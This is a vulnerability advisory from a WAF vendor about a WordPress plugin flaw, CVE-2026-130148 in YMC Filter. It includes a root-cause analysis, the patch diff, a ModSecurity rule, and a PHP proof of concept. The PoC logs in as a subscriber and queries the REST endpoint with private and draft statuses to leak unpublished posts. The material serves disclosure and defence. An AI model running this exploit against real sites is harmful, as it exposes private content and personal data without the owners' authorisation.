Published : November 22, 2026

CVE-2026-130148: YMC Filter <= 3.14.1 Authenticated (Subscriber+) Insufficient Authorization to Sensitive Information Exposure to 'post_status' Parameter PoC, Patch Analysis & Rule

Severity Low (CVSS 3.1)
CWE 200
Vulnerable Version 3.14.1
Patched Version 3.14.2
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-130148: The YMC Filter plugin for WordPress (versions up to 3.14.1) contains an authenticated authorization bypass that leads to sensitive information exposure. Subscriber-level users can retrieve rendered grid HTML that includes private, draft, pending, and future posts they are not authorized to view. The vulnerability resides in the REST API controller that processes filter grid requests and is rated CVSS 3.1 (Low), with CWE-200 (Exposure of Sensitive Information).

The root cause is in the file ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php. The controller builds a WP_Query using a post_status array derived from user-supplied parameters and an administrator-configured allowlist via ymc_get_allowed_post_statuses(). For logged-in users, the code fails to intersect the requested statuses with the current user’s capabilities. Only guests are restricted to ‘publish’. A subscriber can supply post_status=private, draft, pending, or future, and if the administrator has enabled any non-publish status in the grid’s settings, the query returns those posts. The rendered HTML is then returned to the attacker.

Exploitation requires the attacker to be authenticated with at least subscriber access. The attacker sends a request to the plugin’s REST endpoint (likely /wp-json/ymc-filter/v1/posts or similar, based on the controller namespace) with the filter_id parameter pointing to a grid configured with non-publish statuses, and post_status set to one or more privileged statuses (e.g., private, draft). The response contains the full grid HTML, leaking titles, excerpts, author names, dates, categories, tags, and thumbnails of protected posts.

The patch adds capability checks to the allowed status list. For logged-in users, it builds $allowed_statuses based on current_user_can(‘read_private_posts’) for ‘private’ and current_user_can(‘edit_posts’) for ‘draft’, ‘pending’, and ‘future’. Then it intersects the requested statuses with this allowlist, mirroring the guest restriction. Additionally, the patch introduces a post-query filter that removes any posts not in $allowed_render_statuses and for which the user lacks read_post capability. This defense-in-depth approach ensures that even if the status intersection is bypassed, unauthorized posts are filtered out. The patch also extends $allowed_render_statuses when a callback (likely a custom query_args filter) includes additional statuses, but the post-query filter still enforces capability checks.

The impact is exposure of sensitive information. Subscribers can read private, draft, pending, and future posts, which may contain unpublished content, personal data, or confidential business information. This can lead to privacy breaches, competitive intelligence leaks, or further attacks if the exposed content contains credentials or internal URLs. No privilege escalation or remote code execution is possible.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ymc-smart-filter/ymc-smart-filters.php
+++ b/ymc-smart-filter/ymc-smart-filters.php
@@ -4,7 +4,7 @@
  *
  * Plugin Name:       YMC Filter
  * Description:       A powerful and flexible plugin to filter and display posts, custom post types, and other content in responsive grid layouts.
- * Version:           3.14.1
+ * Version:           3.14.2
  * Author:            YMC
  * Author URI:        https://github.com/YMC-22/Filter-Grids
  * License:           GPL-2.0-or-later
--- a/ymc-smart-filter/ymc2/YMC_Filter_Grids.php
+++ b/ymc-smart-filter/ymc2/YMC_Filter_Grids.php
@@ -29,7 +29,7 @@
 	 *
 	 * @var string
 	 */
-	public string $version = '3.14.1';
+	public string $version = '3.14.2';


 	/**
--- a/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php
+++ b/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php
@@ -102,14 +102,25 @@
 		$order_meta_value    = $params['order_meta_value'] ?? Data_Store::get_meta_value($filter_id, 'ymc_fg_order_meta_value');
 		$post_order_multiple = $params['post_order_by_multiple'] ?? Data_Store::get_meta_value($filter_id, 'ymc_fg_post_order_by_multiple');

-		// Post status
+
+      // Basic statuses permitted for rendering to the current user
+      $allowed_render_statuses = [ 'publish' ];
+      if ( current_user_can( 'read_private_posts' ) ) {
+         $allowed_render_statuses[] = 'private';
+      }
+      if ( current_user_can( 'edit_posts' ) ) {
+         $allowed_render_statuses[] = 'draft';
+         $allowed_render_statuses[] = 'pending';
+         $allowed_render_statuses[] = 'future';
+      }
+
+      // Post status
       $post_status = ymc_get_allowed_post_statuses($filter_id, $params['post_status'] ?? null);

       /*
       * Guests may only query published posts.
       */
       if ( ! is_user_logged_in() ) {
-
          $post_status = array_values(
             array_intersect(
                $post_status,
@@ -117,6 +128,23 @@
             )
          );
       }
+      else {
+         $allowed_statuses = [ 'publish' ];
+         if ( current_user_can( 'read_private_posts' ) ) {
+            $allowed_statuses[] = 'private';
+         }
+         if ( current_user_can( 'edit_posts' ) ) {
+            $allowed_statuses[] = 'draft';
+            $allowed_statuses[] = 'pending';
+            $allowed_statuses[] = 'future';
+         }
+         $post_status = array_values(
+            array_intersect(
+               $post_status,
+               $allowed_statuses
+            )
+         );
+      }

 		// Meta query
 		$meta_query_raw      = $params['meta_query'] ?? [];
@@ -451,6 +479,11 @@

 					if ( is_array( $query_args ) ) {
 						$args = array_merge( $args, $query_args );
+
+                  if ( ! empty( $query_args['post_status'] ) ) {
+                     $callback_statuses = (array) $query_args['post_status'];
+                     $allowed_render_statuses = array_unique( array_merge($allowed_render_statuses, $callback_statuses) );
+                  }
 					}
 				}
 			}
@@ -494,6 +527,21 @@


 		$query = new WP_Query($args);
+
+      if ( ! empty( $query->posts ) && is_array( $query->posts ) ) {
+
+			$query->posts = array_values( array_filter( $query->posts, function( $post ) use ( $allowed_render_statuses ) {
+
+            if ( isset( $post->post_status ) && in_array( $post->post_status, $allowed_render_statuses, true ) ) {
+					return true;
+				}
+
+				return current_user_can( 'read_post', $post->ID );
+
+			} ));
+
+			$query->post_count = count( $query->posts );
+		}

       if ($search_filters_enabled) {
 			self::remove_search_filters();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-130148
SecRule REQUEST_URI "@rx ^/wp-json/ymc-filter/v[0-9]+/posts" 
  "id:2026130148,phase:2,deny,status:403,msg:'CVE-2026-130148 via YMC Filter REST API',severity:'CRITICAL',tag:'CVE-2026-130148',chain"
  SecRule ARGS:post_status "@rx (?:^|,)(?:private|draft|pending|future)(?:,|$)" "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-130148 - YMC Filter <= 3.14.1 - Authenticated (Subscriber+) Insufficient Authorization to Sensitive Information Exposure to 'post_status' Parameter

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber';          // Subscriber-level credentials
$password = 'password';
$filter_id = 1;                     // ID of a grid with non-publish statuses enabled

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Request the REST endpoint with post_status set to private/draft
$endpoint = $target_url . '/wp-json/ymc-filter/v1/posts'; // Adjust namespace/version as per actual plugin routes
$payload = [
    'filter_id' => $filter_id,
    'post_status' => 'private,draft,pending,future', // Attacker-supplied statuses
    // Other parameters may be required (e.g., page, per_page, etc.) but omitted for brevity
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint . '?' . http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Check for leaked content (e.g., presence of post titles)
if (strpos($response, 'private') !== false || strpos($response, 'draft') !== false) {
    echo "Vulnerable! Leaked response:n";
    echo $response;
} else {
    echo "Not vulnerable or no non-publish posts found.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.